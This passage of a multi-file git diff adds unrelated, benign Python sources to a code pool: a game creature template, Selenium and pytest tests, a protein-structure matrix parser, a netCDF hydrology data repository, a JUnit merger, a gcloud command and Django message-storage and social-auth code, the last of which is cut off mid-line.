templates = Vector() + templates.add('object/mobile/shared_bageraset.iff') + mobileTemplate.setTemplates(templates) + + weaponTemplates = Vector() + weapontemplate = WeaponTemplate('object/weapon/melee/unarmed/shared_unarmed_default.iff', WeaponType.UNARMED, 1.0, 6, 'kinetic') + weaponTemplates.add(weapontemplate) + mobileTemplate.setWeaponTemplateVector(weaponTemplates) + + attacks = Vector() + attacks.add('bm_bite_2') + attacks.add('bm_kick_2') + attacks.add('bm_spit_2') + mobileTemplate.setDefaultAttack('creatureMeleeAttack') + mobileTemplate.setAttacks(attacks) + + core.spawnService.addMobileTemplate('bageraset_bruiser', mobileTemplate) + return \ No newline at end of file diff --git a/pool/shard009/Python/0081703_SearchBaidu.py b/pool/shard009/Python/0081703_SearchBaidu.py new file mode 100644 index 0000000000000000000000000000000000000000..4850e627154861fad259117bf976106c348af6ed --- /dev/null +++ b/pool/shard009/Python/0081703_SearchBaidu.py @@ -0,0 +1,32 @@ +# -*- coding: utf-8 -*- +from selenium import webdriver +import unittest +import time + + +class Baidu(unittest.TestCase): + """百度首页搜索测试用例""" + #脚本初始化 + def setUp(self): + self.driver = webdriver.Ie() + self.driver.implicitly_wait(30) + self.base_url = "http://www.baidu.com" + self.verificationErrors = [] + self.accept_next_alert = True + #测试用例 + def test_baidu_search(self): + driver = self.driver + driver.get(self.base_url + "/") + driver.find_element_by_id("kw").clear() + driver.find_element_by_id("kw").send_keys("selenium") + driver.find_element_by_id("su").click() + time.sleep(10) + + #脚本退出 + def tearDown(self): + self.driver.quit() + self.assertEqual([], self.verificationErrors) + +if __name__ == "__main__": + unittest.main() + diff --git a/pool/shard009/Python/0081710_pdb_to_matrix_parser.py b/pool/shard009/Python/0081710_pdb_to_matrix_parser.py new file mode 100644 index 0000000000000000000000000000000000000000..2ab76f54c56df2925cafb99d7a867d9d4b80f147 --- /dev/null +++ b/pool/shard009/Python/0081710_pdb_to_matrix_parser.py @@ -0,0 +1,227 @@ +#! /usr/bin/env python3 + +""" +Author: Wout van Helvoirt +Build: January 30th, 2017 +Version: 1.0 + +Usage: +This module needs to be imported. It is able to parse a pdb file and convert it to a distance map, contact map or +modified contact map with extra amino acid information. The input pdb files are split over multiple processes to +increase performance. Each created matrix is written as csv file to the file system with a csv like structure. + +Requirements: +In order to use this module, please make sure that you have installed numpy, biopython and the text_file_writer of this +package. + +Input: +- The output directory to write the created files to. +- Separator used for parsing the csv data from the input files. +- Comment character to use for header line. +- Header line to use for all the files. +- If a contact map should be made. +- The cut off value to use when converting distance matrices to contact matrices. Only used when contact maps are made. +- If additional amino acid information should be added to the contact map. +""" + +import os +import sys +import numpy +from multiprocessing import Pool + +from Bio.PDB.PDBParser import PDBParser +from Bio.PDB.Polypeptide import three_to_one +from Bio.PDB.Polypeptide import is_aa + +import protein_prediction as pp + + +class PdbToMatrixParser: + def __init__(self, + output_dir, + separator, + comment_char, + header_line, + contact_matrix, + cutoff_value, + multichannel): + self.output_dir = output_dir + self.separator = separator + self.comment_char = comment_char + self.header_line = header_line + self.contact_matrix = contact_matrix + self.cutoff_value = cutoff_value + self.multichannel = multichannel + self.pdb_chain = None + self.amino_acid_id = dict(A=1, R=2, N=3, D=4, C=5, E=6, Q=7, G=8, H=9, I=10, + L=11, K=12, M=13, F=14, P=15, S=16, T=17, W=18, Y=19, V=20, + X=21) + + def _add_amino_acid_information(self, + matrix): + """ + This function adds amino acid interaction information to the contact matrix. + Input: The contact matrix to modify, uses the amino acid conversion dictionary and pdb model. + Output: The modified version of the contact matrix. + """ + + # Build the peptide sequence for each residue in the chain. + peptide_sequence = "" + for residue in self.pdb_chain: + if is_aa(residue.get_resname(), standard=True): + peptide_sequence += three_to_one(residue.get_resname()) + else: + peptide_sequence += "X" + + # For each combination amino acids, add there binary to the contact matrix. + for i, ver_amino in enumerate(peptide_sequence): + for j, hor_amino in enumerate(peptide_sequence): + + # Use the contact map value as first character, followed by corresponding amino acid i (ver) + # value, followed by corresponding amino acid j (hor) value. Total str size incl. sep. 5to7 + matrix[i][j] = " ".join([str(matrix[i][j]), + str(self.amino_acid_id[ver_amino]), + str(self.amino_acid_id[hor_amino])]) + + # Return the first modified contact matrix and end the loop. + return matrix + + def _parse_pdb(self, + file_path): + """ + This function parses a pdb file using BioPython's PDB module. + Input: The pdb file path to parse. + Output: -, sets the parsed pdb model. + """ + + # Get the identifier code form the pdb file name (first four characters). + file_code = os.path.basename(file_path).split(".")[0][:4].upper() + file_chain = os.path.basename(file_path).split(".")[0][-1:].upper() + + # Try to parse the pdb file and set the model. + structure = PDBParser(PERMISSIVE=False, + QUIET=False).get_structure(file_code, + file_path) + + # For each model use the first one that has the chain specified in filename inside. + for model in structure.get_models(): + + # For each chain in the model, use the chain from the filename. + for chain in model.get_chains(): + if chain.get_id() == file_chain: + + # Remove all hetero-atoms from residues list, only keeping amino acid residues. + for residue in list(chain.get_residues()): + identifier = residue.id + if identifier[0] != " ": + chain.detach_child(identifier) + + # Finally set the modified chain. + self.pdb_chain = chain + return + + @staticmethod + def _calc_residue_distance(residue_one, + residue_two): + """ + This function calculates the distance between two residues. + Input: Both of the residues. + Output: The calculated distance between the two given residues. + """ + + # Try to calculate the distance of the residues and return the value. + try: + diff_vector = residue_one["CA"].coord - residue_two["CA"].coord + return numpy.sqrt(numpy.sum(diff_vector * diff_vector)) + + # If 'CA' not available, return zero. + except KeyError: + return 0 + + def _calc_distance_matrix(self, + file_path): + """ + This function calculates the distance matrix from, using the chain specified in the filename. + Input: The pdb file path. + Output: A numpy array matrix containing the distances. + """ + + # Parse the pdb file and get the chain identifier. + self._parse_pdb(file_path=file_path) + + # Make a numpy matrix with zeros using the chain identifier lengths. + distance_matrix = numpy.zeros((len(self.pdb_chain), len(self.pdb_chain)), + dtype="float") + + # For each position in the matrix, calculate the distance and add it to the matrix. + for r, residue_one in enumerate(self.pdb_chain): + for c, residue_two in enumerate(self.pdb_chain): + distance_matrix[r][c] = self._calc_residue_distance(residue_one=residue_one, + residue_two=residue_two) + + # Return the first distance matrix that could be created and end the loop. + return distance_matrix + + def _process_files(self, + files_list_part): + """ + This function processes each file using multiprocessing. I writes out a distance matrix, contact matrix or + modified contact matrix to the output directory. + Input: A part of the files list, uses cutoff value, if contact matrix should be made and if additional amino + acid information should be added to the contact matrix. + Output: -, writes the created numpy array matrix to a file. + """ + + # Define file writer and process each file in the files list. + writer = pp.ListToFileWriter("csv", + self.separator) + for file_path in files_list_part: + try: + + # Calculate distance matrix. + matrix = self._calc_distance_matrix(file_path=file_path) + + # If contact matrix requested, convert distance matrix. + if self.contact_matrix: + + # Calculate contact matrix. + matrix = (matrix < float(self.cutoff_value)).astype("int") + + # Add amino acid information if requested. + if self.multichannel: + matrix = self._add_amino_acid_information(matrix=matrix.astype("object")) + + # Write the matrix to a csv file. + writer.write(self.output_dir, + str(os.path.basename(file_path).split(".")[0]), + matrix, + str(self.comment_char + " " + self.header_line)) + except ValueError: + print("Warning: problem with PDB file, skipping file " + os.path.basename(file_path), + file=sys.stderr) + + def calculate_matrix(self, + files_list): + """ + This function is manages processes. Each file in the files list is processed by a process. It uses all of the + CPU' available on the system. (os.cpu_count function) + Input: The files list, cutoff value, output directory, amount of threads, if contact matrix is wanted and if + extra amino acid information should be added to the contact matrices. + Output: -, makes each process write a output file. + """ + + # Divide the files list over multiple processes to process simultaneously. + with Pool(processes=None) as p: + p.map(self._process_files, + files_list) + + +def main(): + """ + Main function when program ran through terminal. + """ + print(__doc__) + + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0081712_json_stream.py b/pool/shard009/Python/0081712_json_stream.py new file mode 100644 index 0000000000000000000000000000000000000000..985d1001a33050d771e7215956201e8df1e23032 --- /dev/null +++ b/pool/shard009/Python/0081712_json_stream.py @@ -0,0 +1,25 @@ +import json +from io import StringIO, TextIOWrapper + + +class JsonStream(): + record_number = 0 + + def __init__(self, input_file, on_record): + self.input_file = input_file + self.on_record = on_record + + def play(self): + if isinstance(self.input_file, StringIO) or isinstance( + self.input_file, TextIOWrapper): + self.process_file(self.input_file) + else: + with open(self.input_file, 'r') as f: + self.process_file(f) + + def process_file(self, f): + for l in f: + s = l.strip() + if s: + d = json.loads(s) + self.on_record(d) diff --git a/pool/shard009/Python/0081715_match.py b/pool/shard009/Python/0081715_match.py new file mode 100644 index 0000000000000000000000000000000000000000..1bdec0ba3ef9acee22318e184b1ab46493f4ec31 --- /dev/null +++ b/pool/shard009/Python/0081715_match.py @@ -0,0 +1,26 @@ +from . import Validator +from ..errors import InvalidMatch + + +class Match(Validator): + """Validate that a string matches a pattern""" + + def __init__(self, regex): + """ + Args: + regex (regex): a regexp object + """ + self._regex = regex + + def __call__(self, value, path): + """Validate that value matches the regex + + Args: + value (str): string to validate + path (list): error path + """ + try: + if not self._regex.match(value): + raise InvalidMatch(value, self._regex, path) + except TypeError: + raise InvalidMatch(value, self._regex, path) diff --git a/pool/shard009/Python/0081724_test_render_row.py b/pool/shard009/Python/0081724_test_render_row.py new file mode 100644 index 0000000000000000000000000000000000000000..5f3d4fdfdbf89351189b9acedb5365342c393e67 --- /dev/null +++ b/pool/shard009/Python/0081724_test_render_row.py @@ -0,0 +1,184 @@ +import pytest + +from django.utils.timezone import make_naive + +from events import renderers + + +@pytest.fixture +def simple_renderer(mocker): + + def _simple_block_renderer( + event, time_map, events, extra_classes=None, *, + min_height=0, max_height=None): + if extra_classes: + fmt = '|{event} ({classes})| ' + else: + fmt = '|{event}| ' + return fmt.format(classes=' '.join(extra_classes or []), event=event) + + def _simple_attached_period_renderer(begin, end): + return '|{0.hour}:{0:%M} {1.hour}:{1:%M}| '.format( + make_naive(begin.value), make_naive(end.value), + ) + + def _simple_columned_period_renderer(times, events): + html = '|{}| '.format( + ' '.join( + '{0.hour}:{0:%M}'.format(make_naive(time.value)) + for time in times + ) + ) + return html, len(events) + + mocker.patch.multiple( + 'events.renderers', + render_block=_simple_block_renderer, + render_attached_period=_simple_attached_period_renderer, + render_columned_period=_simple_columned_period_renderer, + ) + + +@pytest.mark.usefixtures('simple_renderer') +def test_render_belt_events_row(parser, utils, keynote_belt_event): + times = [keynote_belt_event.begin_time, keynote_belt_event.end_time] + rendered = renderers.render_row(times, [keynote_belt_event]) + assert utils.is_safe(rendered) + assert parser.arrange(rendered) == parser.arrange(""" + |9:00 10:00| +
+
+ |9:00 10:00| + |Keynote: Amber Brown| +
+
+ """) + + +@pytest.mark.usefixtures('simple_renderer') +def test_render_partial_belt_events_row( + parser, utils, + partial_belt_begin_time, partial_belt_end_time, partial_belt_events): + times = [partial_belt_begin_time, partial_belt_end_time] + rendered = renderers.render_row(times, partial_belt_events) + assert utils.is_safe(rendered) + assert parser.arrange(rendered) == parser.arrange(""" + |1:00 2:00| +
+
+ |1:00 2:00| + |Refreshment| +
+
+ """) + + +@pytest.mark.usefixtures('simple_renderer') +def test_render_partial_belt_block_events_row( + parser, utils, partial_belt_block_begin_time, + partial_belt_block_end_time, partial_belt_block_events): + times = [partial_belt_block_begin_time, partial_belt_block_end_time] + rendered = renderers.render_row(times, partial_belt_block_events) + assert utils.is_safe(rendered) + assert parser.arrange(rendered) == parser.arrange(""" + |3:00 4:00| +
+
+ |3:00 4:00| + |Refreshment| + |Free-market sub-orbital tattoo| +
+
+ """) + + +@pytest.mark.usefixtures('simple_renderer') +def test_render_partial_block_events_row( + parser, utils, partial_block_begin_time, + partial_block_end_time, partial_block_events): + times = [partial_block_begin_time, partial_block_end_time] + rendered = renderers.render_row(times, partial_block_events) + assert utils.is_safe(rendered) + assert parser.arrange(rendered) == parser.arrange(""" + |5:00 6:00| +
+
+ |5:00 6:00| + |Boost Maintainability| + |We Made the PyCon TW 2016 Website| + |Deep Learning and Application in Python| +
+
+ """) + + +@pytest.mark.usefixtures('simple_renderer') +def test_render_block_events_row( + parser, utils, block_begin_time, block_end_time, block_events): + times = [block_begin_time, block_end_time] + rendered = renderers.render_row(times, block_events) + assert utils.is_safe(rendered) + assert parser.arrange(rendered) == parser.arrange(""" + |7:00 8:00| +
+
+ |7:00 8:00| + |Boost Maintainability| + |We Made the PyCon TW 2016 Website| + |Deep Learning and Application in Python| + |Free-market sub-orbital tattoo| +
+
+ """) + + +@pytest.mark.usefixtures('simple_renderer') +def test_render_mismatch_block_events_row( + parser, utils, mismatch_block_begin_time, mismatch_block_mid_time, + mismatch_block_end_time, mismatch_block_events): + times = [ + mismatch_block_begin_time, + mismatch_block_mid_time, + mismatch_block_end_time, + ] + rendered = renderers.render_row(times, mismatch_block_events) + assert utils.is_safe(rendered) + assert parser.arrange(rendered) == parser.arrange(""" + |9:00 10:00 11:00| +
+
+ |9:00 11:00| + |Refreshment| + |9:00 10:00| + |Free-market sub-orbital tattoo| +
+
+ """) + + +@pytest.mark.usefixtures('simple_renderer') +def test_render_multirow_block_events_row( + parser, utils, multirow_block_begin_time, multirow_block_mid_time, + multirow_block_end_time, multirow_block_events): + times = [ + multirow_block_begin_time, + multirow_block_mid_time, + multirow_block_end_time, + ] + rendered = renderers.render_row(times, multirow_block_events) + assert utils.is_safe(rendered) + assert parser.arrange(rendered) == parser.arrange(""" + |12:00 13:00 14:00| +
+
+ |12:00 13:00| + |Boost Maintainability| + |We Made the PyCon TW 2016 Website| + |Deep Learning and Application in Python| + |12:00 14:00| + |Free-market sub-orbital tattoo (pull-right)| + |13:00 14:00| + |Refreshment| +
+
+ """) diff --git a/pool/shard009/Python/0081732_testUnicastSender.py b/pool/shard009/Python/0081732_testUnicastSender.py new file mode 100644 index 0000000000000000000000000000000000000000..f6956156186d98521cbd6303fd4c77b542e0ce8f --- /dev/null +++ b/pool/shard009/Python/0081732_testUnicastSender.py @@ -0,0 +1,82 @@ +""" + ResFi example of a unicast sender, sends unicast messages to all 1-hop neighors + by utilizing end-to-end encryption. The ResFi framework uses the public RSA key to + exchange a symmetric AES session key between each neighbor and each direction. + + Copyright (C) 2016 Sven Zehl, Anatolij Zubow, Michael Doering, Adam Wolisz + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + {zehl, zubow, wolisz, doering}@tkn.tu-berlin.de +""" + +__author__ = 'zehl, zubow, wolisz, doering' + +import time +from threading import Thread +from common.resfi_api import AbstractResFiApp +import random + + + +""" + Unicast sender /receiver example +""" +class ResFiApp(AbstractResFiApp, Thread): + + def __init__(self, log, agent): + Thread.__init__(self) + AbstractResFiApp.__init__(self, log, 'de.berlin.tu.tkn.unicastsender', agent) + + + def run(self): + self.log.info("%s: plugin::unicastsender started ... " % self.agent.getNodeID()) + + # wait to settle down + time.sleep(1) + # init phase + + while not self.isTerminated(): + + currentNeighbors = self.getNeighbors() + my_msg = {} + for i in range(len(currentNeighbors)): + my_msg['payload'] = {'A':'B'} + self.log.info("plugin::unicastsender sending message to: %s" % currentNeighbors[i]) + self.sendToNeighbor(my_msg, currentNeighbors[i]) + time.sleep(5) + + self.log.debug("%s: plugin::dist-chan stopped ... " % self.agent.getNodeID()) + + """ + receive callback function + """ + def rx_cb(self, json_data): + message = json_data['payload'] + sender = json_data['originator'] + self.log.info("%s :: recv() msg from %s with payload %s" % (self.ns, sender, message)) + + + """ + new Link Notification Callback + """ + def newLink_cb(self, nodeID): + self.log.info("%s ::newLink_cb() new AP neighbor detected notification (newLink: %s)" % (self.ns, nodeID)) + + + """ + Link Lost Notification Callback + """ + def linkFailure_cb(self, nodeID): + self.log.info("%s :: linkFailure_cb() neighbor AP disconnected (lostLink: %s)" % (self.ns, nodeID)) + diff --git a/pool/shard009/Python/0081742_cf_geo_ts_repository.py b/pool/shard009/Python/0081742_cf_geo_ts_repository.py new file mode 100644 index 0000000000000000000000000000000000000000..f7cec056d7bacb49a6c1d83d82d7ea176193b2db --- /dev/null +++ b/pool/shard009/Python/0081742_cf_geo_ts_repository.py @@ -0,0 +1,147 @@ +# This file is part of Shyft. Copyright 2015-2018 SiH, JFB, OS, YAS, Statkraft AS +# See file COPYING for more details **/ +from __future__ import absolute_import +from __future__ import print_function + +from os import path +import numpy as np +from netCDF4 import Dataset +from shyft import api +from shyft import shyftdata_dir +from .. import interfaces +from .time_conversion import convert_netcdf_time +from .utils import _limit_1D, _numpy_to_geo_ts_vec, _make_time_slice, _slice_var_1D + + +class CFDataRepositoryError(Exception): + pass + + +class CFDataRepository(interfaces.GeoTsRepository): + """ + Repository for geo located timeseries stored in netCDF files. + + """ + def __init__(self, epsg, filename, padding=5000.): + filename = path.expandvars(filename) + + if not path.isabs(filename): + # Relative paths will be prepended the data_dir + filename = path.join(shyftdata_dir, filename) + if not path.isfile(filename): + raise CFDataRepositoryError("No such file '{}'".format(filename)) + + self._filename = filename + self.allow_subset = True # allow_subset + + self.shyft_cs = "+init=EPSG:{}".format(epsg) + self._padding = padding + + # Field names and mappings netcdf_name: shyft_name + self._nc_shyft_map = {"relative_humidity": "relative_humidity", + "temperature": "temperature", + "z": "z", + "precipitation": "precipitation", + "precipitation_amount_acc": "precipitation", + "wind_speed": "wind_speed", + "global_radiation": "radiation", + "discharge": "discharge"} + + self._shift_fields = ("precipitation_amount_acc", + "integral_of_surface_downwelling_shortwave_flux_in_air_wrt_time") + + def get_timeseries(self, input_source_types, utc_period, geo_location_criteria=None): + """ + see interfaces.GeoTsRepository + """ + + with Dataset(self._filename) as dataset: + return self._get_data_from_dataset(dataset, input_source_types, + utc_period, geo_location_criteria) + + def _get_data_from_dataset(self, dataset, input_source_types, utc_period, + geo_location_criteria): + + x = dataset.variables.get("x", None) + y = dataset.variables.get("y", None) + time = dataset.variables.get("time", None) + dim_nb_series = [dim.name for dim in dataset.dimensions.values() if dim.name != 'time'][0] + if not all([x, y, time]): + raise CFDataRepositoryError("Something is wrong with the dataset." + " x/y coords or time not found.") + time = convert_netcdf_time(time.units, time) + data_cs = dataset.variables.get("crs", None) + if data_cs is None: + raise CFDataRepositoryError("No coordinate system information in dataset.") + + time_slice, issubset = _make_time_slice(time, utc_period, CFDataRepositoryError) + + x, y, m_xy, xy_slice = _limit_1D(x[:], y[:], data_cs.proj4, self.shyft_cs, geo_location_criteria, self._padding, CFDataRepositoryError) + + raw_data = {} + for k in dataset.variables.keys(): + if self._nc_shyft_map.get(k, None) in input_source_types: + if k in self._shift_fields and issubset: # Add one to time slice + data_time_slice = slice(time_slice.start, time_slice.stop + 1) + else: + data_time_slice = time_slice + data = dataset.variables[k] + pure_arr = _slice_var_1D(data, dim_nb_series, xy_slice, m_xy, slices={'time': data_time_slice}) + raw_data[self._nc_shyft_map[k]] = pure_arr, k + + if "z" in dataset.variables.keys(): + data = dataset.variables["z"] + #dims = data.dimensions + #data_slice = len(data.dimensions)*[slice(None)] + #data_slice[dims.index("dim_nb_series")] = m_xy + #z = data[data_slice] + z = data[m_xy] + else: + raise CFDataRepositoryError("No elevations found in dataset") + + # Make sure requested fields are valid, and that dataset contains the requested data. + if not self.allow_subset and not (set(raw_data.keys()).issuperset(input_source_types)): + raise CFDataRepositoryError("Could not find all data fields") + + extracted_data = self._transform_raw(raw_data, time[time_slice], issubset=issubset) + return _numpy_to_geo_ts_vec(extracted_data, x, y, z, CFDataRepositoryError) + + def _transform_raw(self, data, time, issubset=False): + """ + We need full time if deaccumulating + """ + + def noop_time(t): + return api.TimeAxis(api.UtcTimeVector.from_numpy(t.astype(int)), int(2*t[-1] - t[-2])) + + def dacc_time(t): + return noop_time(t) if issubset else api.TimeAxis(api.UtcTimeVector.from_numpy(t.astype(int))) + + def noop_space(x): + return x + + def air_temp_conv(T): + return T - 273.15 + + def prec_conv(p): + return p[1:] + + def prec_acc_conv(p): + return np.clip(p[1:] - p[:-1], 0.0, 1000.0) + + def rad_conv(r): + dr = r[1:] - r[:-1] + return np.clip(dr/(time[1] - time[0]), 0.0, 5000.0) + + # Unit- and aggregation-dependent conversions go here + convert_map = {"wind_speed": lambda x, t: (noop_space(x), noop_time(t)), + "relative_humidity": lambda x, t: (noop_space(x), noop_time(t)), + "temperature": lambda x, t: (noop_space(x), noop_time(t)), + "global_radiation": lambda x, t: (noop_space(x), noop_time(t)), + "precipitation": lambda x, t: (noop_space(x), noop_time(t)), + "precipitation_amount_acc": lambda x, t: (prec_acc_conv(x), dacc_time(t)), + "discharge": lambda x, t: (noop_space(x), noop_time(t))} + res = {} + for k, (v, ak) in data.items(): + res[k] = convert_map[ak](v, time) + return res diff --git a/pool/shard009/Python/0081743_test_vr.py b/pool/shard009/Python/0081743_test_vr.py new file mode 100644 index 0000000000000000000000000000000000000000..48e61b9f90910c95ed26be8abce8681fe490c300 --- /dev/null +++ b/pool/shard009/Python/0081743_test_vr.py @@ -0,0 +1,97 @@ +# Tests of construction of Vietoris-Rips complexes +# +# Copyright (C) 2017--2019 Simon Dobson +# +# This file is part of simplicial, simplicial topology in Python. +# +# Simplicial is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Simplicial is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Simplicial. If not, see . + +import unittest +import six +from simplicial import * + +class VietorisRipsTests(unittest.TestCase): + + def testBasis( self ): + """Test we get the right basis.""" + c = SimplicialComplex() + c.addSimplex(id = 1) + c.addSimplex(id = 2) + c.addSimplex(id = 3) + c.addSimplexWithBasis([1, 2, 3]) + em = Embedding(c) + em[1] = [0, 0] + em[2] = [0, 3] + em[3] = [4, 0] + + vr = em.vietorisRipsComplex(0) + + self.assertEqual(len(vr.simplices()), 3) + self.assertEqual(len(vr.simplicesOfOrder(0)), 3) + + def testNoHigherSimplices( self ): + """Test we don't add any higher simplices for too small a scale.""" + c = SimplicialComplex() + c.addSimplex(id = 1) + c.addSimplex(id = 2) + c.addSimplex(id = 3) + c.addSimplexWithBasis([1, 2, 3]) + em = Embedding(c) + em[1] = [0, 0] + em[2] = [0, 3] + em[3] = [4, 0] + + vr = em.vietorisRipsComplex(1) + + self.assertEqual(len(vr.simplices()), 3) + self.assertEqual(len(vr.simplicesOfOrder(0)), 3) + + def testOneNotBoth( self ): + """Test we capture the right structure at a slightly larger scale.""" + c = SimplicialComplex() + c.addSimplex(id = 1) + c.addSimplex(id = 2) + c.addSimplex(id = 3) + c.addSimplexWithBasis([1, 2, 3]) + em = Embedding(c) + em[1] = [0, 0] + em[2] = [0, 3] + em[3] = [4, 0] + + vr = em.vietorisRipsComplex(3) + + self.assertEqual(len(vr.simplices()), 4) + self.assertEqual(len(vr.simplicesOfOrder(0)), 3) + self.assertEqual(len(vr.simplicesOfOrder(1)), 1) + six.assertCountEqual(self, vr.faces(list(vr.simplicesOfOrder(1))[0]), [ 1, 2 ]) + + def testTwoEdges( self ): + """Test we capture the right structure when we should get two simplices but not the triangle.""" + c = SimplicialComplex() + c.addSimplex(id = 1) + c.addSimplex(id = 2) + c.addSimplex(id = 3) + c.addSimplexWithBasis([1, 2, 3]) + em = Embedding(c) + em[1] = [0, 0] + em[2] = [0, 3] + em[3] = [4, 0] + + vr = em.vietorisRipsComplex(4) + + self.assertEqual(len(vr.simplices()), 5) + self.assertEqual(len(vr.simplicesOfOrder(0)), 3) + self.assertEqual(len(vr.simplicesOfOrder(1)), 2) + + diff --git a/pool/shard009/Python/0081749_combine-junit.py b/pool/shard009/Python/0081749_combine-junit.py new file mode 100644 index 0000000000000000000000000000000000000000..5b5eebfc0e60a60306fe1b7d3a67a034cdbc5642 --- /dev/null +++ b/pool/shard009/Python/0081749_combine-junit.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python +# +# Corey Goldberg, Dec 2012 +# Original source from gist.github.com/cgoldberg/4320815 + +import os +import sys +import xml.etree.ElementTree as ET + + +"""Merge multiple JUnit XML files into a single results file. + +Output dumps to sdtdout. + +example usage: + $ python merge_junit_results.py results1.xml results2.xml > results.xml +""" + + +def main(): + args = sys.argv[1:] + if not args: + usage() + sys.exit(2) + if '-h' in args or '--help' in args: + usage() + sys.exit(2) + merge_results(args[:]) + + +def merge_results(xml_files): + failures = 0 + tests = 0 + errors = 0 + time = 0.0 + cases = [] + + for file_name in xml_files: + tree = ET.parse(file_name) + test_suite = tree.getroot() + failures += int(test_suite.attrib['failures']) + tests += int(test_suite.attrib['tests']) + errors += int(test_suite.attrib['errors']) + time += float(test_suite.attrib['time']) + cases.append(test_suite.getchildren()) + + new_root = ET.Element('testsuite') + new_root.attrib['failures'] = '%s' % failures + new_root.attrib['tests'] = '%s' % tests + new_root.attrib['errors'] = '%s' % errors + new_root.attrib['time'] = '%s' % time + for case in cases: + new_root.extend(case) + new_tree = ET.ElementTree(new_root) + ET.dump(new_tree) + + +def usage(): + this_file = os.path.basename(__file__) + print 'Usage: %s results1.xml results2.xml' % this_file + + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0081752_list.py b/pool/shard009/Python/0081752_list.py new file mode 100644 index 0000000000000000000000000000000000000000..ae0948ef35de95cb9a48a6e5b873f337046e07e9 --- /dev/null +++ b/pool/shard009/Python/0081752_list.py @@ -0,0 +1,68 @@ +# Copyright 2016 Google Inc. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""type-providers list command.""" + +from apitools.base.py import list_pager + +from googlecloudsdk.api_lib.deployment_manager import dm_v2_util +from googlecloudsdk.calliope import base +from googlecloudsdk.command_lib.deployment_manager import dm_base +from googlecloudsdk.command_lib.deployment_manager import dm_beta_base + + +@base.ReleaseTracks(base.ReleaseTrack.ALPHA) +class List(base.ListCommand): + """List type providers in a project. + + Prints a list of the configured type providers. + """ + + detailed_help = { + 'EXAMPLES': """\ + To print out a list of all type providers, run: + + $ {command} + """, + } + + def Run(self, args): + """Run 'type-providers list'. + + Args: + args: argparse.Namespace, The arguments that this command was invoked + with. + + Returns: + The list of type providers for this project. + + Raises: + HttpException: An http error response was received while executing api + request. + """ + project = dm_base.GetProject() + + request = (dm_beta_base.GetMessages(). + DeploymentmanagerTypeProvidersListRequest(project=project)) + return dm_v2_util.YieldWithHttpExceptions( + list_pager.YieldFromList(dm_beta_base.GetClient().typeProviders, + request, + field='typeProviders', + batch_size=args.page_size, + limit=args.limit)) + + def Format(self, unused_args): + return ('table(name,' + 'insertTime.date(format="%Y-%m-%d"):label=INSERT_DATE)') + diff --git a/pool/shard009/Python/0081754_fallback.py b/pool/shard009/Python/0081754_fallback.py new file mode 100644 index 0000000000000000000000000000000000000000..6c35343eb749639f32d60de2b3ddc99912388996 --- /dev/null +++ b/pool/shard009/Python/0081754_fallback.py @@ -0,0 +1,54 @@ +from django.contrib.messages.storage.base import BaseStorage +from django.contrib.messages.storage.cookie import CookieStorage +from django.contrib.messages.storage.session import SessionStorage + +class FallbackStorage(BaseStorage): + """ + Tries to store all messages in the first backend, storing any unstored + messages in each subsequent backend backend. + """ + storage_classes = (CookieStorage, SessionStorage) + + def __init__(self, *args, **kwargs): + super(FallbackStorage, self).__init__(*args, **kwargs) + self.storages = [storage_class(*args, **kwargs) + for storage_class in self.storage_classes] + self._used_storages = set() + + def _get(self, *args, **kwargs): + """ + Gets a single list of messages from all storage backends. + """ + all_messages = [] + for storage in self.storages: + messages, all_retrieved = storage._get() + # If the backend hasn't been used, no more retrieval is necessary. + if messages is None: + break + if messages: + self._used_storages.add(storage) + all_messages.extend(messages) + # If this storage class contained all the messages, no further + # retrieval is necessary + if all_retrieved: + break + return all_messages, all_retrieved + + def _store(self, messages, response, *args, **kwargs): + """ + Stores the messages, returning any unstored messages after trying all + backends. + + For each storage backend, any messages not stored are passed on to the + next backend. + """ + for storage in self.storages: + if messages: + messages = storage._store(messages, response, + remove_oldest=False) + # Even if there are no more messages, continue iterating to ensure + # storages which contained messages are flushed. + elif storage in self._used_storages: + storage._store([], response) + self._used_storages.remove(storage) + return messages diff --git a/pool/shard009/Python/0081755_views.py b/pool/shard009/Python/0081755_views.py new file mode 100644 index 0000000000000000000000000000000000000000..81b973e617a0aa397bdc2dad001d8a5153e4b62b --- /dev/null +++ b/pool/shard009/Python/0081755_views.py @@ -0,0 +1,71 @@ +from __future__ import absolute_import, print_function + + +from django.contrib.auth import REDIRECT_FIELD_NAME +from django.contrib.auth.decorators import login_required +from django.http import HttpResponseRedirect, HttpResponse + +from sudo.utils import is_safe_url +from social_auth.decorators import dsa_view, disconnect_view +from social_auth.utils import setting, backend_setting, clean_partial_pipeline + + +DEFAULT_REDIRECT = setting('SOCIAL_AUTH_LOGIN_REDIRECT_URL', + setting('LOGIN_REDIRECT_URL')) + + +@login_required +@dsa_view() +@disconnect_view +def disconnect(request, backend, association_id=None): + """Disconnects given backend from current logged in user.""" + backend.disconnect(request.user, association_id) + data = request.REQUEST + if REDIRECT_FIELD_NAME in data: + redirect = data[REDIRECT_FIELD_NAME] + # NOTE: Django's `is_safe_url` is much better at catching bad + # redirections to different domains than social_auth's + # `sanitize_redirect` call. + if not is_safe_url(redirect, host=request.get_host()): + redirect = DEFAULT_REDIRECT + else: + redirect = backend_setting(backend, 